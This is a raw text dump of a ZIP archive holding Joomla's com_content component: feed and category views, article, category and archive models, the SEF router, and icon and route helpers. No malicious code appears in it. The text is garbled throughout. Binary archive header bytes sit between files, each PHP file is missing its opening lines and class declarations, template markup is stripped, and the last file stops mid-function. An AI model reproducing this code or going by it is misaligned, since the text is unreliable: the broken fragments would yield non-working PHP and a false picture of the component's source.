            PKGy>\Bh (com_content/views/category/view.feed.phpnuW+AgetParams(); $feedEmail = $app->getCfg('feed_email', 'author'); $siteEmail = $app->getCfg('mailfrom'); // Get some data from the model JRequest::setVar('limit', $app->getCfg('feed_limit')); $category = $this->get('Category'); $rows = $this->get('Items'); $doc->link = JRoute::_(ContentHelperRoute::getCategoryRoute($category->id)); foreach ($rows as $row) { // Strip html from feed item title $title = $this->escape($row->title); $title = html_entity_decode($title, ENT_COMPAT, 'UTF-8'); // Compute the article slug $row->slug = $row->alias ? ($row->id . ':' . $row->alias) : $row->id; // Url link to article $link = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language)); // Get row fulltext $db = JFactory::getDBO(); $query = 'SELECT' .$db->quoteName('fulltext'). 'FROM #__content WHERE id ='.$row->id; $db->setQuery($query); $row->fulltext = $db->loadResult(); // Get description, author and date $description = ($params->get('feed_summary', 0) ? $row->introtext.$row->fulltext : $row->introtext); $author = $row->created_by_alias ? $row->created_by_alias : $row->author; @$date = ($row->publish_up ? date('r', strtotime($row->publish_up)) : ''); // Load individual item creator class $item = new JFeedItem(); $item->title = $title; $item->link = $link; $item->date = $date; $item->category = $row->category_title; $item->author = $author; if ($feedEmail == 'site') { $item->authorEmail = $siteEmail; } elseif($feedEmail === 'author') { $item->authorEmail = $row->author_email; } // Add readmore link to description if introtext is shown, show_readmore is true and fulltext exists if (!$params->get('feed_summary', 0) && $params->get('feed_show_readmore', 0) && $row->fulltext) { $description .= '

            '.JText::_('COM_CONTENT_FEED_READMORE').'

            '; } // Load item description and add div $item->description = '
            '.$description.'
            '; // Loads item info into rss array $doc->addItem($item); } } } PKGy>\V%com_content/views/category/index.htmlnuW+A PKGy>\Q *com_content/views/categories/view.html.phpnuW+Aget('State'); $items = $this->get('Items'); $parent = $this->get('Parent'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } if ($items === false) { JError::raiseError(404, JText::_('COM_CONTENT_ERROR_CATEGORY_NOT_FOUND')); return false; } if ($parent == false) { JError::raiseError(404, JText::_('COM_CONTENT_ERROR_PARENT_CATEGORY_NOT_FOUND')); return false; } $params = &$state->params; $items = array($parent->id => $items); //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->maxLevelcat = $params->get('maxLevelcat', -1); $this->assignRef('params', $params); $this->assignRef('parent', $parent); $this->assignRef('items', $items); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('JGLOBAL_ARTICLES')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } PKGy>\)+com_content/views/categories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\-63com_content/views/categories/tmpl/default_items.phpnuW+Aitems[$this->parent->id]) > 0 && $this->maxLevelcat != 0) : ?>
              items[$this->parent->id] as $id => $item) : ?> params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : if (!isset($this->items[$this->parent->id][$id + 1])) { $class = ' class="last"'; } ?> > escape($item->title); ?> params->get('show_subcat_desc_cat') == 1) :?> description) : ?>
              description, '', 'com_content.categories'); ?>
              params->get('show_cat_num_articles_cat') == 1) :?>
              numitems; ?>
              getChildren()) > 0) : $this->items[$item->id] = $item->getChildren(); $this->parent = $item; $this->maxLevelcat--; echo $this->loadTemplate('items'); $this->parent = $item->getParent(); $this->maxLevelcat++; endif; ?>
            PKGy>\V,com_content/views/categories/tmpl/index.htmlnuW+A PKGy>\1QJQJ-com_content/views/categories/tmpl/default.xmlnuW+A
            PKGy>\e0-com_content/views/categories/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            params->get('show_base_description')) : ?> params->get('categories_description')) : ?> params->get('categories_description'), '', 'com_content.categories'); ?> parent->description) : ?>
            parent->description, '', 'com_content.categories'); ?>
            loadTemplate('items'); ?>
            PKGy>\)&com_content/views/categories/.htaccessnuW+A Order allow,deny Deny from all PKGy>\V'com_content/views/categories/index.htmlnuW+A PKGy>\Y/./.com_content/models/category.phpnuW+AsetState('category.id', $pk); // Load the parameters. Merge Global and Menu Item params into new object $params = $app->getParams(); $menuParams = new JRegistry; if ($menu = $app->getMenu()->getActive()) { $menuParams->loadString($menu->params); } $mergedParams = clone $menuParams; $mergedParams->merge($params); $this->setState('params', $mergedParams); $user = JFactory::getUser(); // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $groups = implode(',', $user->getAuthorisedViewLevels()); if ((!$user->authorise('core.edit.state', 'com_content')) && (!$user->authorise('core.edit', 'com_content'))){ // limit to published for people who can't edit or edit.state. $this->setState('filter.published', 1); // Filter by start and end dates. $nullDate = $db->Quote($db->getNullDate()); $nowDate = $db->Quote(JFactory::getDate()->toSQL()); $query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')'); $query->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')'); } else { $this->setState('filter.published', array(0, 1, 2)); } // process show_noauth parameter if (!$params->get('show_noauth')) { $this->setState('filter.access', true); } else { $this->setState('filter.access', false); } // Optional filter text $this->setState('list.filter', JRequest::getString('filter-search')); // filter.order $itemid = JRequest::getInt('id', 0) . ':' . JRequest::getInt('Itemid', 0); $orderCol = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string'); if (!in_array($orderCol, $this->filter_fields)) { $orderCol = 'a.ordering'; } $this->setState('list.ordering', $orderCol); $listOrder = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd'); if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', ''))) { $listOrder = 'ASC'; } $this->setState('list.direction', $listOrder); $this->setState('list.start', JRequest::getUInt('limitstart', 0)); // set limit for query. If list, use parameter. If blog, add blog parameters for limit. if ((JRequest::getCmd('layout') == 'blog') || $params->get('layout_type') == 'blog') { $limit = $params->get('num_leading_articles') + $params->get('num_intro_articles') + $params->get('num_links'); $this->setState('list.links', $params->get('num_links')); } else { $limit = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.limit', 'limit', $params->get('display_num'), 'uint'); } $this->setState('list.limit', $limit); // set the depth of the category query based on parameter $showSubcategories = $params->get('show_subcategory_content', '0'); if ($showSubcategories) { $this->setState('filter.max_category_levels', $params->get('show_subcategory_content', '1')); $this->setState('filter.subcategories', true); } $this->setState('filter.language', $app->getLanguageFilter()); $this->setState('layout', JRequest::getCmd('layout')); } /** * Get the articles in the category * * @return mixed An array of articles or false if an error occurs. * @since 1.5 */ function getItems() { $params = $this->getState()->get('params'); $limit = $this->getState('list.limit'); if ($this->_articles === null && $category = $this->getCategory()) { $model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true)); $model->setState('params', JFactory::getApplication()->getParams()); $model->setState('filter.category_id', $category->id); $model->setState('filter.published', $this->getState('filter.published')); $model->setState('filter.access', $this->getState('filter.access')); $model->setState('filter.language', $this->getState('filter.language')); $model->setState('list.ordering', $this->_buildContentOrderBy()); $model->setState('list.start', $this->getState('list.start')); $model->setState('list.limit', $limit); $model->setState('list.direction', $this->getState('list.direction')); $model->setState('list.filter', $this->getState('list.filter')); // filter.subcategories indicates whether to include articles from subcategories in the list or blog $model->setState('filter.subcategories', $this->getState('filter.subcategories')); $model->setState('filter.max_category_levels', $this->setState('filter.max_category_levels')); $model->setState('list.links', $this->getState('list.links')); if ($limit >= 0) { $this->_articles = $model->getItems(); if ($this->_articles === false) { $this->setError($model->getError()); } } else { $this->_articles=array(); } $this->_pagination = $model->getPagination(); } return $this->_articles; } /** * Build the orderby for the query * * @return string $orderby portion of query * @since 1.5 */ protected function _buildContentOrderBy() { $app = JFactory::getApplication('site'); $db = $this->getDbo(); $params = $this->state->params; $itemid = JRequest::getInt('id', 0) . ':' . JRequest::getInt('Itemid', 0); $orderCol = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string'); $orderDirn = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd'); $orderby = ' '; if (!in_array($orderCol, $this->filter_fields)) { $orderCol = null; } if (!in_array(strtoupper($orderDirn), array('ASC', 'DESC', ''))) { $orderDirn = 'ASC'; } if ($orderCol && $orderDirn) { $orderby .= $db->escape($orderCol) . ' ' . $db->escape($orderDirn) . ', '; } $articleOrderby = $params->get('orderby_sec', 'rdate'); $articleOrderDate = $params->get('order_date'); $categoryOrderby = $params->def('orderby_pri', ''); $secondary = ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate) . ', '; $primary = ContentHelperQuery::orderbyPrimary($categoryOrderby); $orderby .= $db->escape($primary) . ' ' . $db->escape($secondary) . ' a.created '; return $orderby; } public function getPagination() { if (empty($this->_pagination)) { return null; } return $this->_pagination; } /** * Method to get category data for the current category * * @param int An optional ID * * @return object * @since 1.5 */ public function getCategory() { if (!is_object($this->_item)) { if( isset( $this->state->params ) ) { $params = $this->state->params; $options = array(); $options['countItems'] = $params->get('show_cat_num_articles', 1) || !$params->get('show_empty_categories_cat', 0); } else { $options['countItems'] = 0; } $categories = JCategories::getInstance('Content', $options); $this->_item = $categories->get($this->getState('category.id', 'root')); // Compute selected asset permissions. if (is_object($this->_item)) { $user = JFactory::getUser(); $userId = $user->get('id'); $asset = 'com_content.category.'.$this->_item->id; // Check general create permission. if ($user->authorise('core.create', $asset)) { $this->_item->getParams()->set('access-create', true); } // TODO: Why aren't we lazy loading the children and siblings? $this->_children = $this->_item->getChildren(); $this->_parent = false; if ($this->_item->getParent()) { $this->_parent = $this->_item->getParent(); } $this->_rightsibling = $this->_item->getSibling(); $this->_leftsibling = $this->_item->getSibling(false); } else { $this->_children = false; $this->_parent = false; } } return $this->_item; } /** * Get the parent categorie. * * @param int An optional category id. If not supplied, the model state 'category.id' will be used. * * @return mixed An array of categories or false if an error occurs. * @since 1.6 */ public function getParent() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_parent; } /** * Get the left sibling (adjacent) categories. * * @return mixed An array of categories or false if an error occurs. * @since 1.6 */ function &getLeftSibling() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_leftsibling; } /** * Get the right sibling (adjacent) categories. * * @return mixed An array of categories or false if an error occurs. * @since 1.6 */ function &getRightSibling() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_rightsibling; } /** * Get the child categories. * * @param int An optional category id. If not supplied, the model state 'category.id' will be used. * * @return mixed An array of categories or false if an error occurs. * @since 1.6 */ function &getChildren() { if (!is_object($this->_item)) { $this->getCategory(); } // Order subcategories if (sizeof($this->_children)) { $params = $this->getState()->get('params'); if ($params->get('orderby_pri') == 'alpha' || $params->get('orderby_pri') == 'ralpha') { jimport('joomla.utilities.arrayhelper'); JArrayHelper::sortObjects($this->_children, 'title', ($params->get('orderby_pri') == 'alpha') ? 1 : -1); } } return $this->_children; } } PKGy>\mF9 9 !com_content/models/categories.phpnuW+AsetState('filter.extension', $this->_extension); // Get the parent id if defined. $parentId = JRequest::getInt('id'); $this->setState('filter.parentId', $parentId); $params = $app->getParams(); $this->setState('params', $params); $this->setState('filter.published', 1); $this->setState('filter.access', true); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.extension'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.parentId'); return parent::getStoreId($id); } /** * Redefine the function an add some properties to make the styling more easy * * @param bool $recursive True if you want to return children recursively. * * @return mixed An array of data items on success, false on failure. * @since 1.6 */ public function getItems($recursive = false) { if (!count($this->_items)) { $app = JFactory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); $params = new JRegistry(); if ($active) { $params->loadString($active->params); } $options = array(); $options['countItems'] = $params->get('show_cat_num_articles_cat', 1) || !$params->get('show_empty_categories_cat', 0); $categories = JCategories::getInstance('Content', $options); $this->_parent = $categories->get($this->getState('filter.parentId', 'root')); if (is_object($this->_parent)) { $this->_items = $this->_parent->getChildren($recursive); } else { $this->_items = false; } } return $this->_items; } public function getParent() { if (!is_object($this->_parent)) { $this->getItems(); } return $this->_parent; } } PKGy>\ com_content/models/form.phpnuW+AsetState('article.id', $pk); $this->setState('article.catid', JRequest::getInt('catid')); $return = JRequest::getVar('return', null, 'default', 'base64'); $this->setState('return_page', urldecode(base64_decode($return))); // Load the parameters. $params = $app->getParams(); $this->setState('params', $params); $this->setState('layout', JRequest::getCmd('layout')); } /** * Method to get article data. * * @param integer The id of the article. * * @return mixed Content item data object on success, false on failure. */ public function getItem($itemId = null) { // Initialise variables. $itemId = (int) (!empty($itemId)) ? $itemId : $this->getState('article.id'); // Get a row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($itemId); // Check for a table object error. if ($return === false && $table->getError()) { $this->setError($table->getError()); return false; } $properties = $table->getProperties(1); $value = JArrayHelper::toObject($properties, 'JObject'); // Convert attrib field to Registry. $value->params = new JRegistry; $value->params->loadString($value->attribs); // Compute selected asset permissions. $user = JFactory::getUser(); $userId = $user->get('id'); $asset = 'com_content.article.'.$value->id; // Check general edit permission first. if ($user->authorise('core.edit', $asset)) { $value->params->set('access-edit', true); } // Now check if edit.own is available. elseif (!empty($userId) && $user->authorise('core.edit.own', $asset)) { // Check for a valid user and that they are the owner. if ($userId == $value->created_by) { $value->params->set('access-edit', true); } } // Check edit state permission. if ($itemId) { // Existing item $value->params->set('access-change', $user->authorise('core.edit.state', $asset)); } else { // New item. $catId = (int) $this->getState('article.catid'); if ($catId) { $value->params->set('access-change', $user->authorise('core.edit.state', 'com_content.category.'.$catId)); $value->catid = $catId; } else { $value->params->set('access-change', $user->authorise('core.edit.state', 'com_content')); } } $value->articletext = $value->introtext; if (!empty($value->fulltext)) { $value->articletext .= '
            '.$value->fulltext; } return $value; } /** * Get the return URL. * * @return string The return URL. * @since 1.6 */ public function getReturnPage() { return base64_encode(urlencode($this->getState('return_page'))); } } PKGy>\Gcom_content/models/archive.phpnuW+Astate->params; // Filter on archived articles $this->setState('filter.published', 2); // Filter on month, year $this->setState('filter.month', JRequest::getInt('month')); $this->setState('filter.year', JRequest::getInt('year')); // Optional filter text $this->setState('list.filter', JRequest::getString('filter-search')); // Get list limit $app = JFactory::getApplication(); $itemid = JRequest::getInt('Itemid', 0); $limit = $app->getUserStateFromRequest('com_content.archive.list' . $itemid . '.limit', 'limit', $params->get('display_num'), 'uint'); $this->setState('list.limit', $limit); } /** * @return JDatabaseQuery */ function getListQuery() { // Set the archive ordering $params = $this->state->params; $articleOrderby = $params->get('orderby_sec', 'rdate'); $articleOrderDate = $params->get('order_date'); // No category ordering $categoryOrderby = ''; $secondary = ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate) . ', '; $primary = ContentHelperQuery::orderbyPrimary($categoryOrderby); $orderby = $primary . ' ' . $secondary . ' a.created DESC '; $this->setState('list.ordering', $orderby); $this->setState('list.direction', ''); // Create a new query object. $query = parent::getListQuery(); // Add routing for archive //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $query->select($case_when); $case_when = ' CASE WHEN '; $case_when .= $query->charLength('c.alias'); $case_when .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when .= $query->concatenate(array($c_id, 'c.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $c_id.' END as catslug'; $query->select($case_when); // Filter on month, year // First, get the date field $queryDate = ContentHelperQuery::getQueryDate($articleOrderDate); if ($month = $this->getState('filter.month')) { $query->where('MONTH('. $queryDate . ') = ' . $month); } if ($year = $this->getState('filter.year')) { $query->where('YEAR('. $queryDate . ') = ' . $year); } //echo nl2br(str_replace('#__','jos_',$query)); return $query; } /** * Method to get the archived article list * * @access public * @return array */ public function getData() { $app = JFactory::getApplication(); // Lets load the content if it doesn't already exist if (empty($this->_data)) { // Get the page/component configuration $params = $app->getParams(); // Get the pagination request variables $limit = JRequest::getUInt('limit', $params->get('display_num', 20)); $limitstart = JRequest::getUInt('limitstart', 0); $query = $this->_buildQuery(); $this->_data = $this->_getList($query, $limitstart, $limit); } return $this->_data; } // JModel override to add alternating value for $odd protected function _getList($query, $limitstart=0, $limit=0) { $result = parent::_getList($query, $limitstart, $limit); $odd = 1; foreach ($result as $k => $row) { $result[$k]->odd = $odd; $odd = 1 - $odd; } return $result; } } PKGy>\f>>com_content/metadata.xmlnuW+A PKGy>\1 3com_content/router.phpnuW+AgetMenu(); $params = JComponentHelper::getParams('com_content'); $advanced = $params->get('sef_advanced_link', 0); // we need a menu item. Either the one specified in the query, or the current active one if none specified if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); $menuItemGiven = false; } else { $menuItem = $menu->getItem($query['Itemid']); $menuItemGiven = true; } if (isset($query['view'])) { $view = $query['view']; } else { // we need to have a view in the query or it is an invalid URL return $segments; } // are we dealing with an article or category that is attached to a menu item? if (($menuItem instanceof stdClass) && $menuItem->query['view'] == $query['view'] && isset($query['id']) && $menuItem->query['id'] == intval($query['id'])) { unset($query['view']); if (isset($query['catid'])) { unset($query['catid']); } if (isset($query['layout'])) { unset($query['layout']); } unset($query['id']); return $segments; } if ($view == 'category' || $view == 'article') { if (!$menuItemGiven) { $segments[] = $view; } unset($query['view']); if ($view == 'article') { if (isset($query['id']) && isset($query['catid']) && $query['catid']) { $catid = $query['catid']; // Make sure we have the id and the alias if (strpos($query['id'], ':') === false) { $db = JFactory::getDbo(); $aquery = $db->setQuery($db->getQuery(true) ->select('alias') ->from('#__content') ->where('id='.(int)$query['id']) ); $alias = $db->loadResult(); $query['id'] = $query['id'].':'.$alias; } } else { // we should have these two set for this view. If we don't, it is an error return $segments; } } else { if (isset($query['id'])) { $catid = $query['id']; } else { // we should have id set for this view. If we don't, it is an error return $segments; } } if ($menuItemGiven && isset($menuItem->query['id'])) { $mCatid = $menuItem->query['id']; } else { $mCatid = 0; } $categories = JCategories::getInstance('Content'); $category = $categories->get($catid); if (!$category) { // we couldn't find the category we were given. Bail. return $segments; } $path = array_reverse($category->getPath()); $array = array(); foreach($path as $id) { if ((int)$id == (int)$mCatid) { break; } list($tmp, $id) = explode(':', $id, 2); $array[] = $id; } $array = array_reverse($array); if (!$advanced && count($array)) { $array[0] = (int)$catid.':'.$array[0]; } $segments = array_merge($segments, $array); if ($view == 'article') { if ($advanced) { list($tmp, $id) = explode(':', $query['id'], 2); } else { $id = $query['id']; } $segments[] = $id; } unset($query['id']); unset($query['catid']); } if ($view == 'archive') { if (!$menuItemGiven) { $segments[] = $view; unset($query['view']); } if (isset($query['year'])) { if ($menuItemGiven) { $segments[] = $query['year']; unset($query['year']); } } if (isset($query['year']) && isset($query['month'])) { if ($menuItemGiven) { $segments[] = $query['month']; unset($query['month']); } } } // if the layout is specified and it is the same as the layout in the menu item, we // unset it so it doesn't go into the query string. if (isset($query['layout'])) { if ($menuItemGiven && isset($menuItem->query['layout'])) { if ($query['layout'] == $menuItem->query['layout']) { unset($query['layout']); } } else { if ($query['layout'] == 'default') { unset($query['layout']); } } } return $segments; } /** * Parse the segments of a URL. * * @param array The segments of the URL to parse. * * @return array The URL attributes to be used by the application. * @since 1.5 */ function ContentParseRoute($segments) { $vars = array(); //Get the active menu item. $app = JFactory::getApplication(); $menu = $app->getMenu(); $item = $menu->getActive(); $params = JComponentHelper::getParams('com_content'); $advanced = $params->get('sef_advanced_link', 0); $db = JFactory::getDBO(); // Count route segments $count = count($segments); // Standard routing for articles. If we don't pick up an Itemid then we get the view from the segments // the first segment is the view and the last segment is the id of the article or category. if (!isset($item)) { $vars['view'] = $segments[0]; $vars['id'] = $segments[$count - 1]; return $vars; } // if there is only one segment, then it points to either an article or a category // we test it first to see if it is a category. If the id and alias match a category // then we assume it is a category. If they don't we assume it is an article if ($count == 1) { // we check to see if an alias is given. If not, we assume it is an article if (strpos($segments[0], ':') === false) { $vars['view'] = 'article'; $vars['id'] = (int)$segments[0]; return $vars; } list($id, $alias) = explode(':', $segments[0], 2); // first we check if it is a category $category = JCategories::getInstance('Content')->get($id); if ($category && $category->alias == $alias) { $vars['view'] = 'category'; $vars['id'] = $id; return $vars; } else { $query = 'SELECT alias, catid FROM #__content WHERE id = '.(int)$id; $db->setQuery($query); $article = $db->loadObject(); if ($article) { if ($article->alias == $alias) { $vars['view'] = 'article'; $vars['catid'] = (int)$article->catid; $vars['id'] = (int)$id; return $vars; } } } } // if there was more than one segment, then we can determine where the URL points to // because the first segment will have the target category id prepended to it. If the // last segment has a number prepended, it is an article, otherwise, it is a category. if (!$advanced) { $cat_id = (int)$segments[0]; $article_id = (int)$segments[$count - 1]; if ($article_id > 0) { $vars['view'] = 'article'; $vars['catid'] = $cat_id; $vars['id'] = $article_id; } else { $vars['view'] = 'category'; $vars['id'] = $cat_id; } return $vars; } // we get the category id from the menu item and search from there $id = $item->query['id']; $category = JCategories::getInstance('Content')->get($id); if (!$category) { JError::raiseError(404, JText::_('COM_CONTENT_ERROR_PARENT_CATEGORY_NOT_FOUND')); return $vars; } $categories = $category->getChildren(); $vars['catid'] = $id; $vars['id'] = $id; $found = 0; foreach($segments as $segment) { $segment = str_replace(':', '-', $segment); foreach($categories as $category) { if ($category->alias == $segment) { $vars['id'] = $category->id; $vars['catid'] = $category->id; $vars['view'] = 'category'; $categories = $category->getChildren(); $found = 1; break; } } if ($found == 0) { if ($advanced) { $db = JFactory::getDBO(); $query = 'SELECT id FROM #__content WHERE catid = '.$vars['catid'].' AND alias = '.$db->Quote($segment); $db->setQuery($query); $cid = $db->loadResult(); } else { $cid = $segment; } $vars['id'] = $cid; if ($item->query['view'] == 'archive' && $count != 1){ $vars['year'] = $count >= 2 ? $segments[$count-2] : null; $vars['month'] = $segments[$count-1]; $vars['view'] = 'archive'; } else { $vars['view'] = 'article'; } } $found = 0; } return $vars; } PKGy>\GMhhcom_content/helpers/icon.phpnuW+Aid; if ($params->get('show_icons')) { $text = JHtml::_('image', 'system/new.png', JText::_('JNEW'), NULL, true); } else { $text = JText::_('JNEW').' '; } $button = JHtml::_('link', JRoute::_($url), $text); $output = ''.$button.''; return $output; } static function email($article, $params, $attribs = array()) { require_once JPATH_SITE . '/components/com_mailto/helpers/mailto.php'; $uri = JURI::getInstance(); $base = $uri->toString(array('scheme', 'host', 'port')); $template = JFactory::getApplication()->getTemplate(); $link = $base.JRoute::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language) , false); $url = 'index.php?option=com_mailto&tmpl=component&template='.$template.'&link='.MailToHelper::addLink($link); $status = 'width=400,height=350,menubar=yes,resizable=yes'; if ($params->get('show_icons')) { $text = JHtml::_('image', 'system/emailButton.png', JText::_('JGLOBAL_EMAIL'), NULL, true); } else { $text = ' '.JText::_('JGLOBAL_EMAIL'); } $attribs['title'] = JText::_('JGLOBAL_EMAIL'); $attribs['onclick'] = "window.open(this.href,'win2','".$status."'); return false;"; $output = JHtml::_('link', JRoute::_($url), $text, $attribs); return $output; } /** * Display an edit icon for the article. * * This icon will not display in a popup window, nor if the article is trashed. * Edit access checks must be performed in the calling code. * * @param object $article The article in question. * @param object $params The article parameters * @param array $attribs Not used?? * * @return string The HTML for the article edit icon. * @since 1.6 */ static function edit($article, $params, $attribs = array()) { // Initialise variables. $user = JFactory::getUser(); $userId = $user->get('id'); $uri = JFactory::getURI(); // Ignore if in a popup window. if ($params && $params->get('popup')) { return; } // Ignore if the state is negative (trashed). if ($article->state < 0) { return; } JHtml::_('behavior.tooltip'); // Show checked_out icon if the article is checked out by a different user if (property_exists($article, 'checked_out') && property_exists($article, 'checked_out_time') && $article->checked_out > 0 && $article->checked_out != $user->get('id')) { $checkoutUser = JFactory::getUser($article->checked_out); $button = JHtml::_('image', 'system/checked_out.png', NULL, NULL, true); $date = JHtml::_('date', $article->checked_out_time); $tooltip = JText::_('JLIB_HTML_CHECKED_OUT').' :: '.JText::sprintf('COM_CONTENT_CHECKED_OUT_BY', $checkoutUser->name).'
            '.$date; return ''.$button.''; } $url = 'index.php?option=com_content&task=article.edit&a_id='.$article->id.'&return='.base64_encode(urlencode($uri)); $icon = $article->state ? 'edit.png' : 'edit_unpublished.png'; if (strtotime($article->publish_up) > strtotime(JFactory::getDate())) { $icon = 'edit_unpublished.png'; } $text = JHtml::_('image', 'system/'.$icon, JText::_('JGLOBAL_EDIT'), NULL, true); if ($article->state == 0) { $overlib = JText::_('JUNPUBLISHED'); } else { $overlib = JText::_('JPUBLISHED'); } $date = JHtml::_('date', $article->created); $author = $article->created_by_alias ? $article->created_by_alias : $article->author; $overlib .= '<br />'; $overlib .= $date; $overlib .= '<br />'; $overlib .= JText::sprintf('COM_CONTENT_WRITTEN_BY', htmlspecialchars($author, ENT_COMPAT, 'UTF-8')); $button = JHtml::_('link', JRoute::_($url), $text); $output = ''.$button.''; return $output; } static function print_popup($article, $params, $attribs = array()) { $url = ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language); $url .= '&tmpl=component&print=1&layout=default&page='.@ $request->limitstart; $status = 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no'; // checks template image directory for image, if non found default are loaded if ($params->get('show_icons')) { $text = JHtml::_('image', 'system/printButton.png', JText::_('JGLOBAL_PRINT'), NULL, true); } else { $text = JText::_('JGLOBAL_ICON_SEP') .' '. JText::_('JGLOBAL_PRINT') .' '. JText::_('JGLOBAL_ICON_SEP'); } $attribs['title'] = JText::_('JGLOBAL_PRINT'); $attribs['onclick'] = "window.open(this.href,'win2','".$status."'); return false;"; $attribs['rel'] = 'nofollow'; return JHtml::_('link', JRoute::_($url), $text, $attribs); } static function print_screen($article, $params, $attribs = array()) { // checks template image directory for image, if non found default are loaded if ($params->get('show_icons')) { $text = JHtml::_('image', 'system/printButton.png', JText::_('JGLOBAL_PRINT'), NULL, true); } else { $text = JText::_('JGLOBAL_ICON_SEP') .' '. JText::_('JGLOBAL_PRINT') .' '. JText::_('JGLOBAL_ICON_SEP'); } return ''.$text.''; } } PKGy>\A0ΐ com_content/helpers/category.phpnuW+A\4{com_content/helpers/route.phpnuW+A array((int) $id) ); //Create the link $link = 'index.php?option=com_content&view=article&id='. $id; if ((int)$catid > 1) { $categories = JCategories::getInstance('Content'); $category = $categories->get((int)$catid); if($category) { $needles['category'] = array_reverse($category->getPath()); $needles['categories'] = $needles['category']; $link .= '&catid='.$catid; } } if ($language && $language != "*" && JLanguageMultilang::isEnabled()) { self::buildLanguageLookup(); if(isset(self::$lang_lookup[$language])) { $link .= '&lang='.self::$lang_lookup[$language]; $needles['language'] = $language; } } if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } return $link; } public static function getCategoryRoute($catid) { if ($catid instanceof JCategoryNode) { $id = $catid->id; $category = $catid; } else { $id = (int) $catid; $category = JCategories::getInstance('Content')->get($id); } if ($id < 1 || !($category instanceof JCategoryNode)) { $link = ''; } else { $needles = array(); $link = 'index.php?option=com_content&view=category&id='.$id; $catids = array_reverse($category->getPath()); $needles['category'] = $catids; $needles['categories'] = $catids; if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } } return $link; } public static function getFormRoute($id) { //Create the link if ($id) { $link = 'index.php?option=com_content&task=article.edit&a_id='. $id; } else { $link = 'index.php?option=com_content&task=article.edit&a_id=0'; } return $link; } protected static function buildLanguageLookup() { if(count(self::$lang_lookup) == 0) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.sef AS sef') ->select('a.lang_code AS lang_code') ->from('#__languages AS a'); $db->setQuery($query); $langs = $db->loadObjectList(); foreach ($langs as $lang) { self::$lang_lookup[$lang->lang_code] = $lang->sef; } } } protected static function _findItem($needles = null) { $app = JFactory::getApplication(); $menus = $app->getMenu('site'); $language = isset($needles['language']) ? $needles['language'] : '*'; // Prepare the reverse lookup array. if (!isset(self::$lookup[$language])) { self::$lookup[$language] = array(); $component = JComponentHelper::getComponent('com_content'); $items = $menus->getItems('component_id', $component->id); foreach ($items as $item) { if (isset($item->query) && isset($item->query['view']) && $item->language == $language) { $view = $item->query['view']; if (!isset(self::$lookup[$language][$view])) { self::$lookup[$language][$view] = array(); } if (isset($item->query['id'])) { self::$lookup[$language][$view][$item->query['id']] = $item->id; } } } } if ($needles) { foreach ($needles as $view => $ids) { if (isset(self::$lookup[$language][$view])) { foreach($ids as $id) { if (isset(self::$lookup[$language][$view][(int)$id])) { return self::$lookup[$language][$view][(int)$id]; } 